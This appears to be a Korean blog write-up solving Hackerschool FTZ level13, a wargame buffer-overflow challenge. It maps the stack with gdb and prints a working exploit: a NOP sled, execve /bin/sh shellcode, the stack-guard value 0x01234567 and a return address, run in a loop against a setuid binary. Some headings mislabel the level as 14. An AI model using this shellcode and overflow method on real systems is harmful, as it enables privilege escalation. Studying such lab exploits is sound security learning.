-->

[해커스쿨 FTZ] level13 풀이

FTZ level13 문제 확인

strcpy 함수가 사용되고 있는 것은 level11과 똑같아 보이는데 i 변수에 0x1234567을 저장해놓고 이 값이 변하면 동작하지 않도록 프로세스를 kill하고 있다. 즉, 0x1234567은 스택이 다른 값들로 덮어써지는 것을 막기 위한 일종의 스택가드라고 볼 수 있다.

 

 

 

FTZ level14 문제 풀이

gdb로 실행시켜보면, 'sub 0x418, esp'에서 1048(0x418)-1024-4=20 이므로 i와 buf와 함께 dummy가 20바이트 (0x14) 존재하는 것을 알 수 있다. 하지만 dummy가 정확히 어디 위치하는지를 알아야 정확한 위치에 0x1234567을 써줄 수가 있다.

 

 

 

strcpy 함수 호출 뒷부분에 bp를 걸어준 후 버퍼시작 주소를 대략 확인하면 0xbfffe580이다.

 

 

 

buf 크기인 0x400 정도를 더해서 0x01234567이 어디 위치하는지 확인해보자. 0x01234567은 0xbfffe98c에 위치하고 있기 때문에 해당 주소에서 buf 시작주소였던 0xbfffe580을 빼면 0x40c (1036)이다. 따라서 buf 뒤의 dummy가 12바이트이고 i 뒤의 dummy가 8바이트임을 알 수 있다.

 

 

 

따라서, 스택 구조는 아래와 같다.

 

buffer (str) : 1024바이트 (0x400) 
dummy : 12바이트 (0xc)
buffer (i) : 4바이트
dummy : 8바이트
SFP : 4바이트 
RET : 4바이트

 

 

스택 구조도 알았으니 아래와 같이 익스플로잇 코드만 작성하면 된다. 

 

\x90*1012 (1012바이트)
+ShellCode (24바이트)
+0x01234567 (4바이트)
+\x90*12 (12바이트)
+\x80\xe5\xff\xbf

 

 

FTZ level14 attackme exploit

따라서 FTZ level13 익스플로잇 코드는 아래와 같이 작성될 수 있다. 반복문을 사용하였다.

 

while [ 1 ]; do ./attackme 
`python -c 
'print 
"\x90"*1012
+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
+"\x67\x45\x23\x01" 
+"\x90"*12
+"\x80\xe5\xff\xbf"'`
;done

 

 

그럼, 아래와 같이 해커스쿨 FTZ level14로 가는 비밀번호를 얻게된다.

 

 

'시스템해킹 > FTZ' 카테고리의 다른 글

[해커스쿨 FTZ] level16 풀이  (0) 2020.02.13
[해커스쿨 FTZ] level15 풀이  (0) 2020.02.13
[해커스쿨 FTZ] level14 풀이  (0) 2020.02.13
[해커스쿨 FTZ] level12 풀이  (0) 2020.02.13
[해커스쿨 FTZ] level11 풀이  (2) 2020.02.12

댓글

Designed by JB FACTORY